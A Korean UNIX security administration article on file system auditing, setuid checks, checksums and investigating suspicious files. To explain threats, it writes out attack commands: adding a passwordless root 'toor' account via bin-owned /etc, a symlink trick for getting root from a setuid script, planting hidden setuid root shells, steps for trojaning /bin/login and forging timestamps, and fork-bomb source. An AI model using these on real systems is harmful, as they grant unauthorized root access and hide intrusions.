Practically Useful UNIX Security Administration
김휘강 (Sakai Kim)sakai@major.kaist.ac.kr
Contents
General Security Administration III 부(지난 호)
시스템의 로그 관리 및 분석법.
General Security Administration IV 부 (이번 호)
File System 관리 및 보안
이번 호에서는 지난 호에 이어 General Security Administration 중 System File System 의 보안에 대해 전반적으로 다루겠다. 겠다. 이번 호에서 중점적으로 다룰 내용은 File System 내부의 파일들에 대한 점검 (퍼미션 및 기타사항) 과, 백도어를 찾아내기 등과 같은 일반적이지만 유용한 것들이다.
1. General Security (file system)
유닉스 시스템의 File 시스템의 구조의 특징은 tree 구조로 되어있다는 점과 철저하게 owner , group 에 의해 사용자의 권한에 따라 액세스 할 수 있는 자원이 한정되어 있다는 점이다. 그렇기 때문에 해커들은 root 만이 액세스 할 수 있는 파일에 접근을 시도하여 시스템을 변조하려 애쓰는 것이고 관리자는 이를 막기 위해 디렉토리와 파일에 적절한 퍼미션 및 그룹 지정이 되어있는지 확인하는 것이다.
Basic of Basic 으로 각 유닉스 시스템들의 독특한 file tree 구조에 대해 알아보자.
1.0 각 UNIX 시스템 별 File System ＆ Description
Generic UNIX directory structure
위의 그림에서 보는 것이 공통적으로 적용되는 디렉토리들이다.
/bin
관습적으로 executable 한 binary 실행 파일들이 들어있는 디렉토리이다. OS 에 따라 무조건 적으로 /bin 은 /usr/bin 에 링크 되어 있기도 하다. 같은 성격의 디렉토리로 /usr/bin 과 /usr/ucb 가 있다. /usr/ucb 는 OS 에서 디폴트로 따라 나오는 실행 binary file 들이 포함되는 디렉토리라는 점에서는 공통적이나 /usr/ucb 에는 버클리 계열 프로그램들이 들어있다. 같은 이름의 실행파일이라 하더라도 /usr/bin 이나 /bin 에 들어있는 binary 실행파일들과 옵션과 하는 역할이 다른 경우가 많다.
/usr/5bin
SunOS 에서 System V 계열 명령어들을 보관하는 디렉토리이다.
/dev
디바이스들의 디렉토리로 special file 들이 들어있다. System V 계열의 /dev/ 디렉토리는 다시 서브디렉토리로 구분 지어지는 것이 보통이다. dsk 와 rdsk 는 디스크 디바이스를 의미하고, mt 와 rmt 는 테잎 디바이스를 의미한다. 또 term 은 serial line 을 지원해주는 터미널들을 의미하고, pts , ptc 는 remote 에서 접속했을 때 연결되는 pseudo 터미널들이다. 이와는 대조적으로 BSD 계열 OS 의 /dev/ 디렉토리는 서브디렉토리로 나뉘지 않는 특징을 가진다. Solaris 의 경우에는 /device 와 /dev 디렉토리를 동시에 가지는 특징을 가진다.
/dev 디렉토리의 디바이스들에 대해서는 다음의 figure 를 참조하기 바란다.
SunOS
DEC
OSF/1
LINUX
HP-UX 9.x
HP-UX 10.x
IRIX
Solaris
File Name
/dev/rsd1c
/dev/rrz1c
/dev/sdb1
/dev/rdsk/c201d1s0
/dev/rdsk/c0t4d0s0
/dev/rdsk/dks0d2s7
/dev/rdsk/c0t4d0s2
Access
Mode = Raw
/dev/rsd1c
/dev/rrz1c
/dev/rdsk/c201d1s0
/dev/rdsk/c0t4d0s0
/dev/rdsk/dks0d2s7
/dev/rdsk/c0t4d0s2
Device = Disk
/dev/rrz1c
/dev/sdb1
/dev/rdsk/c201d1s0
/dev/rdsk/c0t4d0s0
/dev/rdsk/dks0d2s7
/dev/rdsk/c0t4d0s2
Type = SCSI
/dev/rsd1c
/dev/rrz1c
/dev/sdb1
/dev/rdsk/c201d1s0
/dev/rdsk/dks0d2s7
/dev/rdsk/c0t4d0s2
Controller #
/dev/rdsk/c0t4d0s0
/dev/rdsk/dks0d2s7
/dev/rdsk/c0t4d0s2
Device #
/dev/rsd1c
/dev/rrz1c
/dev/sdb1
/dev/rdsk/c201d1s0
/dev/rdsk/c0t4d0s0
/dev/rdsk/dks0d2s7
/dev/rdsk/c0t4d0s2
Disk Partition
/dev/rsd1c
/dev/rrz1c
/dev/sdb1
/dev/rdsk/c201d1s0
/dev/rdsk/c0t4d0s0
/dev/rdsk/dks0d2s7
/dev/rdsk/c0t4d0s2
디바이스안에 있는 special 파일들은 다음의 의미를 지닌다.
Special File Form
Example
Device/Use
/dev/[r]fdn
/dev/fd0
Floppy disk
/dev/rmtn
/dev/rmt/n
/dev/rstn
/dev/rctn
/dev/rmt1
/dev/rmt/0
/dev/rst0
/dev/nrmt0
/dev/rmt/0n
/dev/rct0
Generic tape devices
Generic tape devices
SCSI tape drive
Non rewinding tape devices
Non rewinding tape devices
SCO UNIX catridge tape device
/dev/cdn
/dev/cdrom
/dev/cd0
/dev/cdrom
CDROM devices
CDROM devices
/dev/ttyn
/dev/term/n
/dev/tty[p~s]n
/dev/pts/n
/dev/pty[p~s]n
/dev/tty01
/dev/term/01
/dev/ttyp1
/dev/pts/2
/dev/ptyp3
serial line (hardwired terminal/modem)
V.4 serial line
slave 가상 terminal
slave 가상 terminal
의미: Master/control 가상 terminal
/dev/console
/dev/syscon
/dev/hft
/dev/lft0
/dev/tty
콘솔 device
System V 의 물리적 콘솔 device
AIX 3.x 의 콘솔 device
AIX 4.x 의 콘솔 device
각각의 프로세스가 제어하는 TTY 를 의미
/dev/mem
/dev/kmem
physical 메모리 맵
kernel 의 가상 메모리 맵
/dev/winn
/dev/mouse
/dev/win00
SunOS 와 Solaris 의 window device
mouse interface
/dev/ramn
/dev/swap
/dev/ram00
ram disk
Swap device
/dev/null
/dev/zero
null device
null device
/etc/ , /sbin
시스템 configuration 과 관련된 data file 이나 실행파일이 들어있는 디렉토리이다. 이 외에도 system 의 중요한 file 들이 많이 들어 있는 디렉토리이다.
/usr/etc 에 실행파일을 따로 저장하는 OS 도 있다. 그리고 C2 레벨에 관련된 디렉토리가 /etc/security 등으로 존재하기도 한다.
/home
이 디렉토리는 일반적으로 사용자들의 홈 디렉토리가 위치하는 곳이다. HP-UX 9.x 에서는 /users 디렉토리가 존재하여 /home 을 대신하고 있다.
/lost+found
Disk error 가 났을 때(예상치 않은 crash 나 shutdown 에 의해 ) lost chain 이 되어버린 파일들이 저장이 되게 된다. 이 디렉토리는 파티션마다 하나씩 존재한다.
/mnt
임시로 마운트하는 디렉토리이다. temporary 마운트하는 파일시스템을 위한 배려이다.
/proc
PROC 파일시스템에 관련된 디렉토리이다. 이 디렉토리안의 파일들은 현재 active 프로세스들에 관련되어 이름 지어지고 생성되고 삭제된다.
/tcb
이 디렉토리에는 security 와 관련된 데이터베이스 파일들이 저장된다. 물론 tcb 라는 enhanced security facility 를 운영하고 있을 때에만 생성이 되는 디렉토리이다. 관련이 있는 OS 로는 SCO UNIX , HP-UX 10.x , Digital Unix 가 있고 추가적으로 TCB 관련 파일들은 따로 /etc/auth 에 저장된다.
/tmp
메일이나, 파일 편집등에서 쓰이는 임시파일 외에도 모든 프로그램에서의 임시생성파일이 생성되는 곳이다. 이 디렉토리의 가장 큰 특징은 sticky bit 가 붙어 있어서 여러 사용자가 자신의 권한이 해당되는 파일에 대해서만 삭제를 할 수 있게 된다.
/usr
이 디렉토리는 /usr/local , /usr/etc 등과 같은 서브디렉토리를 가지면서 , OS 인스톨 시에 기본적으로 제공되는 프로그램들 외에 따로 인스톨한 프로그램(application program)들이 위치하게 되는 곳이다.
또한 /usr/adm 디렉토리에는 시스템 관리와 관련된 로그파일이나 accounting 에 관련된 파일이 저장되게 되고, /usr/bin 에서는 executable binary 파일들이 위치하게 된다.
/usr/include 에는 C 프로그램외 프로그램과 관련된 헤더파일들이 위치하게 되고 , /usr/lib 에는 시스템의 라이브러리 파일들이 존재하게 된다.
이 외에도 /usr/man (/usr/share/man) 에는 온라인 메뉴얼 파일들이 위치하고 있다.
1.1. File System check
위에서 다룬 사항들은 가장 기본적인 사항임에도 불구하고 관리자들이 판단 착오로 인해 파일 퍼미션을 잘못 지정해 주어서 시스템 보안에 허점이 생기는 경우도 많이 있다.
하지만 현존하는 수 많은 UNIX OS 의 File System 의 디렉토리 퍼미션과 디렉토리 구조, 파일의 퍼미션을 기억하고 있을 수는 없는 노릇이다.
최소한으로 알아두어야 할 사항은 다음과 같다.
중요한 시스템 디렉토리는 owner 가 root 일 것
예: / , /etc/ , /var , /usr/bin .....
지금은 대부분의 사람들이 SunOS 4.1.x 이하 버전 보다는 Solaris 2.x 버전을 사용하므로 문제가 없지만, 예전의 SunOS 4.x 에서는 /etc/ 디렉토리의 소유주가 bin 으로 되어 있었다. 그러므로 root 의 권한을 얻지 못하더라도 bin 이란 id 의 권한을 얻기만 하면 /etc 디렉토리내에 있는 어떠한 파일에라도 조작을 가할 수 있게 되는 것이다.
해킹을 하게 되면 root 의 권한을 직접 얻진 못하더라도 adm , sys , bin 등의 권한을 얻기는 비교적 쉬운 일이다.
중간 과정은 생략하겠지만 예를 들어 bin 의 권한을 획득했다고 하자.
$ id
uid=2(bin) gid=2(bin) groups=2(bin)
$ ls -asld /etc
12 drwxr-xr-x 13 bin bin 6144 5월 28일 18:48 /etc
$ cp /etc/passwd /tmp
$ echo "toor::0:1::/:/bin/csh" >> /tmp/passwd
$ rm /etc/passwd
$ cp /tmp/passwd /etc/passwd
$ rlogin localhost -l toor
즉, bin 의 권한을 갖게 되었으므로 임의로 /etc/ 디렉토리 하의 임의의 파일을 조작할 수 있게 되는 것이다. 고전적인 해킹 방법의 한 예이다.
자 그럼 이제 "File System 점검" 에 대해 살펴보자. 물론 독자들이 chmod, chgrp 등의 기본적인 명령들은 숙지하고 있다고 가정한다.
파일시스템 점검
버그박스를 읽어보신 분들이라면 알겠지만 보안 상에 문제점을 일으키는 프로그램들은 setuid가 있으면서 root 소유의 실행 파일인 경우가 대부분이었다. 어쨌든 setuid 가 붙어 있다는 것은 그 프로그램이 실행되는 중에는 그 프로그램의 소유주의 권한을 가지고 동작을 하게 된다는 뜻이므로 root 소유의 setuid 가 걸린 파일들은 실행할 때 조심해야 한다.
그리고 주기적으로 setuid root 파일들을 찾아주어야 하는 이유로 다음을 들 수 있다.
해커들은 root 의 권한을 얻은 후에 setuid root shell 이나 setuid root shell script 을 설치해둔다. 이를 통해 프로그램 수행 중에 setuid root 파일의 정의에 의해서나 , Interrupt , job control, symbolic link 등에 의해 불법적인 권한 획득이 가능해 진다.
보통, 파일시스템을 부팅 시에 마운트할때 관련된 파일은 /etc/mnttab 파일 (또는 /etc/mtab) 이다. 즉, /etc/mnttab 에서 정의한대로 파일시스템을 마운트하게 되는데, 이때 nosuid 옵션 설정에 주의하지 않으면, 아래와 같이 해커가 시스템을 제집 드나들 듯이 할 수 있게 된다.
root shell script 인 경우
% find / -user root -type f -perm -4000
/usr/bin/X11/xrsh
(여기에서 /usr/bin/X11/xrsh : setuid executable shell script 이다.)
% ls -l /usr/bin/X11/xrsh
-rwsr-xr-x 1 root 16 Aug 20 14:09 /usr/bin/X11/xrsh
% ln -s /usr/bin/X11/xrsh ./-i
(만일 csh 계열 사용자라면 ln -s /usr/bin/X11/xrsh ./-bi 로 해준다.)
% ./-i
# whoami
root
root shell 인 경우
# cp /usr/bin/sh ./suq
# chmod 4755 ./suq
# exit
$ ./suq
#
Solaris 2.x 와 같은 OS 에서는 euid(effective user id) 와 real uid 가 같이 않으면 setuid 가 걸린 root shell 이라 하더라도 루트의 권한을 갖지 못하도록 하고는 있지만 여전히 허점은 존재한다. 그것은 /bin/sh , /bin/csh 에서는 그 기능을 추가했지만 /bin/ksh 에 대해서는 여전히 무력하기 때문이다.
즉, Solaris 2.x 에서도 다음과 같이 함으로써 해커는 root shell 을 숨겨둘 수 있게 되는 것이다.
# cp /bin/ksh ./suq
# chmod 4755 ./suq
# exit
$ ./suq
#
그러므로 /etc/mnttab (또는 /etc/mtab ) 에 nosuid 설정을 적절히 해주기 바란다.
예:
# cat /etc/mtab
/dev/sd0a / 4.2 rw 1 1
/dev/sd0g /usr 4.2 rw 1 2
/dev/sd1g /home 4.2 rw,nosuid 1 3
그리고root shell 을 해커들이 보통 찾기 힘든 파일이름으로 숨겨 놓고 가는 경우가 많다. 관리자들이 착각하기 쉬운 이름으로 숨기므로 보통 다음과 같은 곳에 숨긴다.
/dev 디렉토리 아래
/ucp 디렉토리 아래
nosuid 가 걸려있지 않은 파일 파티션
" " , "..^H" , "..." , 과 같은 디렉토리
예:
# find / -perm -4000 -print
/etc/fping
/usr/man/man6/bash.6
/usr/local/bin/sys
/dev/rxt0
파일시스템을 점검하는 가장 쉽고 편리한 방법은 다음이다.
ls 의 Recursive 옵션을 사용하여 파일시스템 내의 전 파일들에 대한 list 를 받아 두는 것이다.
# ls -aslcRg / > list_of_system_old
# ls -aslcRg / > list_of_today
# diff list_of_system_old list_of_today
즉, 정기적으로 file system 내의 전체적인 list 를 받아둔 후 차이점을 비교해서 파일시스템이 변조된 사항을 알 수 있게 된다. 이를 통해, 파일생성날짜, 퍼미션, 소유주 등의 변화를 점검할 수 있다.물론 저 file 리스트(list_of_system_old, list_of_today) 를 file system 내에 보관하는 것은 상당히 어리석은 짓이다. 해커가 다시 변조해 둘 수 있기 때문이다.그러므로 저 파일들은 offline 상으로 백업을 받아 (floppy 디스켓 따위) 보관을 해주기 바란다.
위의 사항들이 여의치 않은 경우에는 어짜피 일일이 관리자가 모든 파일시스템을 감시할 수는 없는 노릇이므로 setuid 파일 및 주요 파일시스템들에 관한 체크섬을 받아둔다.
예: /bin/login , /usr/etc/in.* ,/lib/libc.so.*, inetd 에서 호출되는 데몬,
프로그램들, netstat, ps, ls , df, ifconfig , sum , 기타
/bin/login 과 같은 root 소유로 되어 setuid bit 이 붙어 있는 프로그램들
프로그램이 실행 중에는 root 의 권한을 갖게 되므로 위험하다.
/etc/ 디렉토리 아래에 있는 모든 데몬들.
inetd 에서 호출되는 데몬들
예: telnetd , rlogind , rshd , ftpd , sshd , ftpd , sendmaild
데몬 프로그램 자체에 trojan horse 가 숨겨져 있는 경우에는 프로그램 내부의 무결성이 입증되었다 하더라도 프로그램이 데몬에 의해 invoking 되어 실행되는 순간 프로그램에 의해 시스템이 vulnerable 해지게 된다.
sshd 의 경우도 예전에 sshd 자체에 trojan horse 를 숨겨둔 경우가 보고된 적이 있었다. 보안을 위해 ssh 을 사용하였다가 오히려 위험해진 좋은 예였다.
inetd 에서 호출되는 프로그램들
inetd 에서 호출이 되므로 시스템의 전원이 켜져 있는 한 시스템은 vulnerable 하게 된다.
/lib/libc.so.*
이런 라이브러리들에 trojan horse 가 있으면 dynamic 하게 call 될 때, 컴파일 시에 static 하게 call 될 때 문제를 일으키게 되므로 , check sum 이 확실한 인증된 application 프로그램을 설치했다 하더라도 vulnerable 하게 된다.
실제로 96 년에 많은 논란을 일으킨 SGI telnet program 의 vulnerability 에서는 crypt 에 관련된 forged library 를 만들어 해킹을 하는 기법이 있었다.
netstat, ps, ls , df, ifconfig , sum
위의 프로그램들은 trojan horse 가 숨겨졌을 경우 많은 피해를 입힐 수 있는 프로그램들이다. netstat 의 경우 해커의 접속 connection 을 표시가 안되게 할 수 있으므로 해커의 칩입을 추적하는데 상당한 곤란함을 겪게 된다.
ps 도 마찬가지이다. 침입자의 작업 프로세스가 보이지 않는 다면 상당한 문제일 것이다. 시스템에 무언가 이상을 발견한다고 해도 프로세스를 kill 할 수 없으니 말이다.
df , sum 도 마찬가지의 맥락에서 생각해주면 된다.
위의 프로그램들에 trojan horse 를 심어 놓는 것이 불가능해 보일지도 모르겠으나, 93 년 부터 root kit 이란 이름으로 외국의 해커에 의해 배포가 되고 있었다.
이를 통해 국내의 많은 시스템에 백도어가 심겨져 있었으리라 추측된다.
기타 /vmunix
이외에도 커널 자체를 변조시켜 둘 수도 있다 .
가장 확실한 방법은 전 File System 의 전 File 에 대한 check sum 을 받아두는 것이지만, 불필요한 사용자 데이터 등까지 해둘 필요는 없으므로 가장 최소한으로 setuid root 프로그램들이나 중요한 File directory , file 들에 대한 체크섬을 받아 두어야 한다.기본적으로는 checksum 을 받지 않고서도 C-time 과 M-time 이 같은지 여부를 ls 로 찾아서 확인해 보는 방법도 있겠지만, ls 의 결과로 보이는 정보 정도는 충분히 변조시킬 수 있다.다음은 그 예이다.
[miso-sakai 30 ] ls -asl /bin/passwd
48 -r-sr-xr-x 1 root bin 24576 10월 26일 1994 /bin/passwd*
[miso-sakai 31 ] ls -aslc /bin/passwd
48 -r-sr-xr-x 1 root bin 24576 10월 26일 1996 /bin/passwd*
위의 경우는 정상적인 경우로 c time 과 m time 이 같은 예이다.
하지만 /bin/passwd 를 변조했다든가, 재컴파일해서 재설치했다든가 하면 ctime 과 m time 이 달라지게 되므로 의심해 볼 여지가 있다. 하지만 이정도의 정보쯤은 조작하는 일은 일도 아니므로 ls 정보만을 신뢰할 수는 없는 노릇이다.
보통 해커들이 백도어를 심고 나갈 때 변조를 해놓고 나가는 프로그램이 setuid root 프로그램이다. 흔한 예로, 해킹을 한 뒤에 /bin/login 을 조작해 놓고 간다든지, /bin/passwd 등을 바꾸어 놓고 갈 수 있기 때문이다.
실제로 login 의 소스코드는 ftp.uu.net 같은 곳에서 쉽게 구할 수 있다. 물론 BSD 바닐라 소스이지만, 이를 다른 OS 에 맞게 포팅하는 일은 C 실력만 있다면 충분히 가능한 일이다. 이제 여기에서 구한 login.c 에 트릭을 가해서 특정 string 을 입력하면 직접 root 로 로긴이 되고 log file 에는 기록이 안되도록 조작할 수 있다.
필자가 해커의 입장이라면 이렇게 할 것이다.
해킹을 해서 root 의 권한을 얻는다.
trojan horse 를 심어둔 login.c 를 컴파일 한다.
/bin/login 의 c time (ls -c 옵션으로 확인할 수 있다.)과 m time 을 확인한다.
컴파일한 login 을 /bin/login 으로 바꿔치기 한다.
/bin/login 의 C time 과 m time 이 바꿔치기 된 시간으로 셋팅되어 있으므로 m time 을 바꾼다. (/usr/5bin/touch 를 이용하여 m time 을 바꿔치기 하고, ls 에서 보이는 ctime 정보를 속이기 위해 date 를 이용하여 시스템 시간까지 변조한다. 자세한 방법은 기술하지 않겠지만 md5 check 같은 툴을 사용하지 않고 ls 만을 사용하는 경우에는C time 도 같은 것처럼 속일 수 있다.)
관련 log file 들을 변조해서 증거를 입멸한다.
기분 좋은 마음으로 logout 을 한 후, 재침입 시에는 일일이 해킹하고 로그파일 지울 필요 없이 변조된 login 에 특정 string 만 패스워드로 입력해준다.
자 위와 같은 경우를 막는 좋은 방법은 sum, ncheck, md5 등을 이용하는 것이다. sum 과 ncheck 은 OS 에서 기본적으로 제공되는 프로그램들이다.
md5 , md5check은ftp://cert-org/pub/tools/md5에서 구할 수 있다. 프로그램들을 anonymous ftp site 에서 다운로드 받아 온 뒤 README 파일을 읽어보면 각 소프트웨어에 대한 md5 check signature 가 동봉되어 있는 것을 본적이 있을 것이다. md5 check 에 의해 생성된 시그너쳐는 현존하는 check sum 프로그램 중에 가장 신뢰할 만한 것으로 정평이 나있다. 밀리 세컨드까지 파일 생성시각을 inode 에서 읽어들여 signature 를 만들기 때문에 ls 따위에서 보이는 시분 정보로 이 sum 을 조작한다는 것은 불가능 하다.
그러므로 가급적 소프트웨어를 설치 할 때에는 공신력 있는 ftp site 에서 다운 받아오고, 다운로드 받아 온 후에는 md5 signature 와 대조해 보는 것이 중요하다.
다음은 sum 과 ncheck 의 사용 예이다.
# cd /usr/bin
# sum *
30550 2 X11
25321 104 acl_edit
63086 200 adb
63216 40 adjust
4938 96 admin
12997 1 alias
19980 72 ar
12984 24 asa
31081 80 at
10025 48 audevent
30992 72 audisp
29708 64 audsys
15279 32 audusr
25537 40 autopush
51075 264 awk
47453 24 banner
42975 24 basename
...
SunOS 에서 setuid 가 걸려 있는 파일을 찾을 경우
# ncheck -s /dev/sd0g
(이 ncheck 명령어는 OS 종류에 따라 옵션과 체킹해주는 것의 종류도 다르기 때문에 특별히 설명하지는 않겠다. 각자의 OS 의 메뉴얼을 참조하기 바란다.)
위의 결과를 ls 의 결과물을 저장한 것과 마찬가지로 저장해 놓은 뒤 백업을 받아두었다가 주기적으로 대조해서 점검을 하는 것이 필요하다.
이제는 위와 같이 sum 이나 ncheck 를 사용하는 법을 알았으니 다른 유용한stuff 를 이용하는 법을 알아보자. 시스템 내 파일 변조를 가장 잘 감지해 주는 프로그램으로 Tripwire 가 있다.
이 Tripwire 에 대해서는 login.misotech.com 의 보물창고 에서 이미 자세히 다룬 바 있으니 더 이상의 설명은 하지 않도록 하겠다. 보물창고를 참고하기 바란다.
이번에는 find 를 사용하여 검색하는 방법을 알아보자. find 는 옵션이 쓸만하고 강력한 것이 많이 있기 때문에 아주 유용한 프로그램이다. 유용한 옵션으로 perm, type , nouser , ctime 등이 있다.
find 의 옵션들
-atime n : n 일 전에 액세스된 파일
-mtime n : n 일 전에 변조된 파일
-newer file : 최근에 변조된 파일
-size n : n 512 byte 블락 사이즈를 갖는 파일
-type type : 지정된 type 을 갖는 파일 (f = plain 파일, d = 디렉토리)
-fstype type : file system type 찾기
-name name : name 이란 이름의 파일
-perm n : n permission 을 갖는 파일
-user usr : usr 가 소유주인 파일
-group grp : grp 가 그룹소유주인 파일
-nouser : 삭제되어 현존하지 않는 사용자가 소유한 파일
-nogroup : 삭제되어 현존하지 않는 그룹이 소유한 파일
몇 가지 예를 살펴보자.
setuid , setgid 파일 찾기
# find / \(-perm -4000 -o -perm -2000\) -print
World Writable 파일 찾기
# find / -perm -2 -ls
하루전에 만들어진 파일 찾기
# find / -ctime -1 -exec ls -alcd {} \
2. 이상한 파일을 발견했을 때의 대처법
자 위에서는 파일들을 찾는 방법, 점검하는 방법에 대해 다루어 보았다. 그렇다면 이상한 file 을 발견했을 때 어떻게 할 것인가에 대해 살펴보도록 하자.
관리자 김씨는 로그파일을 분석하기 위해 다음과 같은 명령을 실행하여 다음의 결과를 얻었다.
# acctcms -a -o -n /var/adm/pacct
NON-PRIME TIME COMMAND SUMMARY
COMMAND NUMBER TOTAL TOTAL
NAME CMDS KCOREMIN CPU-MIN
ls 26 0.00 0.02
grep 21 0.80 0.01
more 15 0.10 0.03
...
fuckfuck 1 0.26 1.10
sucksuck 1 0.32 1.00
hackhack 2 0.23 0.04
fuckfuck 이란 명령 , sucksuck, hackhack 이란 명령들을 발견한 김씨는 즉시 조사에 착수했다. 그리고 저 명령들을 찾아보기로 하고 다음 명령을 실행했다.
# find / -name fuckfuck -print
/users/staff/sakai/./fuckfuck
# find / -name sucksuck -print
/users/staff/sakai/.../sucksuck
# find / -name hackhack -print
/users/staff/sakai/.../ /hackhack
이상한 점이 느껴지지 않는가? . 이란 디렉토리와 " " 란 디렉토리가 특별하게 다시 표시되고 있다.
실제로 이 디렉토리를 찾아보았더니 다음과 같았다.
[miso-sakai 22 ] ls -asl | more
총 1858 블럭입니다.
6 drwxr-xr-x 18 sakai staff 3072 5월 29일 18:43 ./
2 drwxr-xr-x 35 root staff 1024 5월 28일 18:43 ../
2 drwxr-xr-x 2 sakai staff 1024 5월 29일 13:58 ./
2 drwx------ 3 sakai staff 1024 5월 29일 13:56 .../
예전의 배워봅시다에 나왔던 트릭을 사용하여 다음과 같이 찾아보았다.
[miso-sakai 25 ] ls -asl | cat -v |more
총 1858 블럭입니다.
6 drwxr-xr-x 18 sakai staff 3072 5월 29일 18:43 ./
2 drwxr-xr-x 35 root staff 1024 5월 28일 18:43 ../
2 drwxr-xr-x 2 sakai staff 1024 5월 29일 13:58 ..^H/
2 drwx------ 3 sakai staff 1024 5월 29일 13:56 .../
결국 ..^H 라는 디렉토리를 만들어 놓고 작업을 한 것이다.
또 블랭크로 나왔던 디렉토리는
% mkdir " "
와 같은 트릭을 사용하여 만든 디렉토리란 것을 발견했다.
의심가는 점이 많아서 곧 조사에 착수 했다.
자 이제 이 디렉토리에서 발견된 fuckfuck, sucksuck, hackhack 이란 파일들에 대해 조사하는 접근 방법에 대해 다루어 보겠다.
1. file 이란 명령어를 사용할 것.
file 이란 명령어를 사용하여 발견해 낸 이상한 파일이 어떠한 타잎의 파일인지 확인하도록 한다.
예:
# file *
appoint: iAPX 386 executable not stripped
bin: directory
clean: symbolic link to bin/clean
fort.1: empty
gold.dat: ascii text
intro.ms: [nt]roff, tbl or eqn input text
run_me.sh: commands text
xray.c: ascii text
2. what 이란 명령어를 사용할 것.
# find / -perm -4000 -print
/etc/fping
...
위의 명령을 실행한 결과 fping 이란 명령어가 발견되었다고 하자. 얼핏 보면 fping 이란 명령어가 OS 에서 제공하는 명령어라고 생각할 수도 있고 무시하고 넘어갈 수도 있겠지만 , 확실하게 하기 위해 what 이란 명령어를 써보자.
what 은 SCCS 정보를 읽어들이기 때문에 OS 에서 제공되는 프로그램이라면 해당 프로그램의 SCCS 정보가 출력이 되도록 되어 있다.
# what /etc/fping
fping:
위의 예에서는 아무것도 출력되지 않는다. 그렇다면 엉성하긴 하지만 최소한 OS 에서 기본 제공하는 명령은 아니라는 것을 추측은 할 수 있는 것이다.참고로 정상적인 프로그램에 what 명령어를 적용시킨 예이다.
# what /usr/bin/telnet
/usr/bin/telnet:
Copyright (c) 1988 Regents of the University of California.
Revision 1.1.194.1 Wed Sep 1 18:21:18 GMT 1993
main.c 1.10 (Berkeley) 11/18/88
commands.c 1.15 (Berkeley) 2/6/89
network.c 1.13 (Berkeley) 6/29/88
ring.c 1.10 (Berkeley) 6/29/88
sys_bsd.c 1.16 (Berkeley) 11/29/88
telnet.c PHNE_2058 (Berkeley) 1/2/93
terminal.c 1.13 (Berkeley) 6/29/88
tn3270.c 1.16 (Berkeley) 11/30/88
utilities.c 1.11 (Berkeley) 2/6/89
추가로 더 what 에 대해 이야기 해보면, binary 실행 프로그램에 대해 patch 된 정보를 알고 싶다면 showrev -p 를 사용할 수도 있겠지만, what 을 사용할 수도 있다.
SunOS 와 Solaris 의 예를 들어보자.
SunOS 4.1에서는 /usr/ucb/what인데, 이 명령어는 파일에서 SCCS version을 읽어서 출력해 주므로 알 수가 있다. 만일 Sun에서 나온 정식 patch라면 아래와 같이 되어 있을 것이다.
sun41host% /usr/ucb/what /usr/kvm/ps
Copyright (c) 1980 Regents of the University of California.
ps.c 1.46 93/01/19 CTEOS 4071 patch
log.S 1.16 89/03/27 SMI
exp.S 1.11 89/02/23 SMI
SVID_libm_err.c 1.9 89/02/27 SMI
matherr.c 1.2 88/02/08 SMI
Sun에서 정식으로 나온 patch라면 위와 같이 "CTEOS XXXX patch"라는 말이 있다.
마찬가지로 SunOS 5.x에서도 /usr/ccs/bin/what를 사용하여 알아볼 수 있다.
sol2host$ /usr/ccs/bin/what /kernel/unix
/kernel/unix:
SunOS 5.4 Generic 101945-34 September 1995
특히 Solaris 2.x에서는 patch를 위한 배려가 상당히 많은데
파일 단위는 what(1)을 이용할 수 있다.
패키지 단위로 패치 레벨을 체크하기 위해서는 pkginfo를 사용할 수 있다.
sol2host$ pkginfo SUNWsra.2
system SUNWsra.2 Source Compatibility Archive Libraries
sol2host$ pkginfo -l SUNWsra.2
PKGINST: SUNWsra.2
NAME: Source Compatibility Archive Libraries
CATEGORY: system
ARCH: sparc
VERSION: 11.5.1,REV=94.07.15.22.10,PATCH=6
BASEDIR: /
VENDOR: Sun Microsystems, Inc.
DESC: Source Compatibility Archive Libraries
PSTAMP: on494-patch950309130229
INSTDATE: Oct 05 1995 12:57
HOTLINE: Please contact your local service provider
STATUS: completely installed
FILES: 3 installed pathnames
3 shared pathnames
2 directories
189 blocks used (approx)
위의 SUNWsra(Source Compatibility Archive Libraries)는 Patch level 6임을 알 수 있다.
3. 메뉴얼을 찾아볼 것.
발견한 파일이 정상적으로 설치가 되었다면 통상적으로 메뉴얼도 함께 인스톨 되었을 것이다. 해당 프로그램을 man command 를 사용하여 찾아보아 있는지를 확인해 본다.
4. 함부로 실행시키지 말 것.
그리고 가장 명심해야 할 점이다. 무슨 파일인지 모르겠으면 안전하게 삭제하는 것이 최선이다. 어떠한 일을 수행하는 실행파일인지도 모르고 수행을 시킨 다는 것은 자살 행위나 마찬가지이기 때문이다.
결국 위의 방법들을 순조롭게 수행하여 sucksuck, fuckfuck , hackhack 은 sakai 란 사람이 해킹프로그램을 컴파일 시켜둔 것이라고 추측할 수 있게 되었다.
다음 예를 보자.
이상한 파일을 찾던 도중 같은 디렉토리에 a.out 이란 프로그램이 있는 것을 발견하고 아무 생각없이 실행을 시켰다. 무슨 일을 하는 프로그램인지 알기 위해서이다.
그 순간 xload 의 그래프들이 치솟으며 시스템에 부하가 급증하더니 결국은 리부트를 하지 않으면 안되는 상황이 되어 버렸다. 리부팅을 하고 난 후에 같은 디렉토리에 있던 프로그램들을 다시 조사하던 중 발견한 사실이지만 그 a.out 실행파일은 다음의 소스가 컴파일 된 것이었다.
void main()
{
while(1)
{
fork();
}
}
참 간략한 프로그램이지만 상당히 무서운 결과를 초래 할 수 있는 프로그램이다.
계속 프로세스를 fork 하여 시스템의 리소스를 고갈시키게 된다. 위와 같은 process bomb 에 대비하는 방법은 커널을 재컴파일해서 사용자당 MAX 로 할당할 수 있는 process 수를 제한하는 방법 밖엔 없는데, SunOS 나 Solaris 에서는 /etc/system 파일에 set maxuproc=100 를 추가해줌으로써 간단히 해결할 수 있다.
이런 경우에는 의심되는 프로그램을 system call 을 이용하여 추적할 수도 있다. 프로그램에 대한 지식이 약간만이라도 있다면 충분히 어떠한 프로그램인지 추측할 수 있게 된다.
라이브러리 호출, 함수 호출들을 추적하려면 다음과 같은 명령어를 사용하면 된다.
trace (대부분의 시스템)
truss (Solaris)
par (IRIX)
다음은 아까의 예에서 발견했던 fping 이란 프로그램을 추적하는 예이다.
# trace /etc/fping
getpagesize () = 4096
brk (0x6140) = 0
brk (0x7140) = 0
open ("/dev/tty", 0, 0666) = 3
sigblock (0x2) = 0
sigvec (2, 0xeffff9dc, 0xeffff9d0) = 0
sigvec (2, 0xeffff93c, 0) = 0
sigsetmask (0) = 0x2
ioctl (3, 0x40245408, 0xeffff9ac) = 0
ioctl (3, 0x8024540b, 0xeffff9ac) = 0
write (2, "", 0) = 0
read (3,
